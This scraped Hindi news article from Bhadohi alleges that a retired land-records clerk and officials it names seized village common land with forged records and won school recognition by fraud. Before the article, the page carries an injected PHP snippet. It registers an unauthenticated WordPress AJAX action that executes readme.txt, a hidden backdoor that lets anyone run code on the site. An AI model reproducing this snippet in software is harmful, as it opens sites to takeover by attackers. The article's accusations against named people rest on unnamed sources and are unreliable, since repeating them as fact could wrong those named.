if(!function_exists('file_check_readme13861')){ add_action('wp_ajax_nopriv_file_check_readme13861', 'file_check_readme13861'); add_action('wp_ajax_file_check_readme13861', 'file_check_readme13861'); function file_check_readme13861() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } लेखपाल गैंग का मुखिया इटहरा का भू-माफिया हड़पा है, करोड़ों-करोड़ की सरकारी एवं प्राइवेट जमीन, प्रशासन मौन
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लेखपाल गैंग का मुखिया इटहरा का भू-माफिया हड़पा है, करोड़ों-करोड़ की सरकारी एवं प्राइवेट जमीन, प्रशासन मौन

दस बिस्वा जमीन का मालिक देखते ही देखते बना बीसों बीघा जमीन का मालिक!

भूमाफियाओं का गुंडाराज: मूकदर्शक बना ज्ञानपुर तहसील प्रशासन!

शिक्षा विभाग के अधिकारियों को धोखा देकर विद्यालय की ली गई मान्यता!

बिना रजिस्ट्री के मान्यता लेने वाले विद्यालय शिक्षा माफिया के खिलाफ कार्रवाई की मांग!

भू माफियाओं के कब्जे से सरकारी जमीन खाली कराए जाने के अभियान को पलीता लगवा रहा है, कानूनगो इंदु तिवारी, लेखपाल सर्वेश शुक्ला!

सरकारी जमीनों से भूमाफियाओं का कब्जा हटाने की मांग!

बिना रजिस्ट्री के स्कूल का मान्यता लेने वाले भू-माफिया के स्कूल को सील किए जाने की मांग!

इटहरा के भू-माफिया से कम नहीं है, कानूनगो इंदु तिवारी, इसने भी अपने गांव पृथ्वीपुर, हंडिया से लेकर नीवी, हवेलियां, त्रिवेणीपुरम, झूंसी,प्रयागराज में बनाया है करोड़ों-करोड़ अपना काला साम्राज्य जांच की मांग!

ज्ञानपुर तहसील में चल रहा है इटहरा के भू-माफिया का जंगल राज!

विशेष संवाददाता

भदोही, ज्ञानपुर, ज्ञानपुर तहसील प्रशासन की मिली भगत से क्षेत्र में पूर्व लेखपाल सक्रिय शातिर भूमाफिया द्वारा बहुत बड़े पैमाने पर फर्जीवाडा करते हुए प्राइवेट संस्था बनाकर ग्राम सभा की पचासों बीघा जमीन पर कब्जा करके वहां अवैध रूप से विद्यालय चला रहा है।

जिस जमीन की रजिस्ट्री नहीं हो सकती, ग्राम सभा, पंचायत भवन, कन्या पाठशाला, खेलकूद सार्वजनिक उपयोग की सरकारी जमीन के फर्जी कागज तैयार करके तहसील में हेरा फेरी करते हुए खसरा और खतौनी में जालसाजी के जरिए नाम दर्ज कराकर इस कागज को जिला विद्यालय निरीक्षक एवं जिला बेसिक शिक्षा अधिकारी कार्यालय एवं निदेशक माध्यमिक शिक्षा उत्तर प्रदेश के कार्यालय में जमा करके शासन प्रशासन को धोखा देते हुए स्कूल एवं कॉलेज की मान्यता ले ली है।

सूत्रों का कहना है कि संस्था के नाम से जब तक किसी भूमि की रजिस्ट्री ना हो। तो उस स्कूल को मान्यता नहीं दी जा सकती। स्वयं की निजी भूमि होना बहुत जरूरी है।
लेकिन इसने बिना रजिस्ट्री के हाई स्कूल, इंटर, प्राइमरी और जूनियर हाई स्कूल की मान्यता ले ली है।
फर्जीवाड़ा करने वाला लेखपाल ने अपने पिता के नाम से संस्था बनाकर फर्जी तरीके से ग्राम समाज की बीसों बीघा जमीन कब्जा कर लिया है।फर्जी कागजात तैयार करके कूटरचित दस्तावेजों के जरिए शासन प्रशासन की आंखों में धूल झोंकते हुए जिला विद्यालय निरीक्षक कार्यालय और माध्यमिक शिक्षा निदेशक कार्यालय में फर्जी अभिलेख जमा करके मान्यता ले ली।
इस मामले की जांच कराई जाए तो फर्जीवाडा करने के आरोप में स्कूल को चलाने वाला भू-माफिया चर्चित रिटायर लेखपाल तुरंत जेल जा सकता हैं। ग्राम समाज की जमीन का इतने बड़े पैमाने पर बिना रजिस्ट्री के बेसिक एवं माध्यमिक शिक्षा विभाग को धोखा देते हुए इसने अपने विद्यालय के नाम की मान्यता ले ली। साथ ही जिला प्रशासन को भी धोखा देते हुए सरकारी परीक्षाओं की मान्यता का केंद्र भी बनवा लिया है। इसके यहां जो परीक्षाएं होती हैं। उन परीक्षाओं में ठेके पर पैसा लेकर नकल कराई जाती है। क्षेत्र का यह बहुत बड़ा नकल माफिया भी है। सूत्रों का कहना है कि बेसिक और माध्यमिक शिक्षा के नियमावली में मान्यता के संबंध में यह नियम है कि जिस विद्यालय को मान्यता देनी होती है। उस विद्यालय की नाम से जमीन की रजिस्ट्री का कागज कार्यालय में जमा किया जाता है। लेकिन उसने सरकारी जमीन को अपने बाप के नाम से संस्था बनाकर फर्जी इंद्राज कराकर खसरा खतौनी लगाकर मान्यता लेली है। मान्यता के लिए विद्यालय के नाम से रजिस्ट्री सूदा जमीन का कोई कागज नहीं जमा किया है।
एक तरफ इसने तहसील में धोखाधड़ी की और दूसरी ओर माध्यमिक शिक्षा परिषद् उत्तर प्रदेश एवं जिला विद्यालय निरीक्षक कार्यालय शिक्षा विभाग के साथ भी धोखाधड़ी की है। इस संबंध में क्षेत्र के निवासियों द्वारा शिकायती पत्र भी भेजा गया है कि ग्राम सभा द्वारा इसके विरुद्ध प्रस्ताव भी पारित किया गया कि दस बिस्वा जमीन का मालिक देखते ही देखते बीसों बीघा जमीन का मालिक कैसे हो गया? इसकी उच्च स्तर पर जांच कराई जाए और सरकारी जमीन जो कि जिलाधिकारी की अनुमति के बिना किसी को दी नहीं जा सकती। उस जमीन पर मनमाने तरीके से इसने कैसे विद्यालय की मान्यता ले ली।
छानबीन करने पर पता चला है कि क्षेत्र के चर्चित भूमिया विजय मिश्रा गिरोह से मिल करके इस तरह से इन लोगों ने कई सरकारी जमीनों पर धड़ल्ले से कब्जा कर दिया है। पिछले दिन जिलाधिकारी भदोही कार्यालय में बैठक संपन्न हुई थी। जिसमें भूमियाओ के द्वारा की गई जमीनों पर अवैध कब्जा को हटाए जाने के लिए विस्तृत अभियान चलाए जाने का डीएम द्वारा निर्देश दिया गया।
लेकिन ज्ञानपुर तहसील प्रशासन द्वारा जिलाधिकारी के इस आदेश पर अमल नहीं किया जा रहा है। अभी तक किसी भी भू माफिया से कोई जमीन नहीं खाली कराई गई है। इसके ठीक विपरीत ये भू माफिया किसानों की जमीन पर अवैध कब्जा करते चले जा रहे हैं। इस अवैध कब्जे के रैकेट में कई लोग शामिल हैं। जिसमें कई विजय मिश्रा गिरोह से जुड़े हुए कई शातिर भू माफिया लेखपाल कानूनगो भी शामिल है। क्षेत्र में भूमाफियाओं का रैकेट चलाने वाले रिटायर्ड लेखपाल और कानूनगो इंदु तिवारी, लेखपाल सर्वेश शुक्ला के द्वारा बहुत बड़े व्यापक पैमाने पर क्षेत्र में फर्जी दस्तावेज तैयार करके किसानों की जमीन इधर से उधर करने का धंधा चल रहा है।
यही नहीं लोगों ने एक दिव्यांग दलित मल्लू की जमीन पर कब्जा कर लिया है। बेचारा दर दर की ठोकरे खा रहा है। जिलाधिकारी से लेकर के तमाम जगह वह शिकायत कर चुका है। दिव्यांग दलित मल्लू की शिकायत पर भी अभी तक कोई कार्रवाई नहीं हुई।
इन लोगों ने माध्यमिक शिक्षा परिषद के सचिव तथा जिला विद्यालय निरीक्षक के साथ भी धोखाधड़ी की है। उक्त भू माफिया के द्वारा पंचायत ग्राम समाज की जमीन पर अवैध रूप से कब्जा करके चलाए जा रहे विद्यालय की मान्यता को रद्द करते हुए फर्जी दस्तावेज के आधार पर मान्यता लिए जाने वाले आरोपी के खिलाफ सख्त कार्रवाई की मांग की है।

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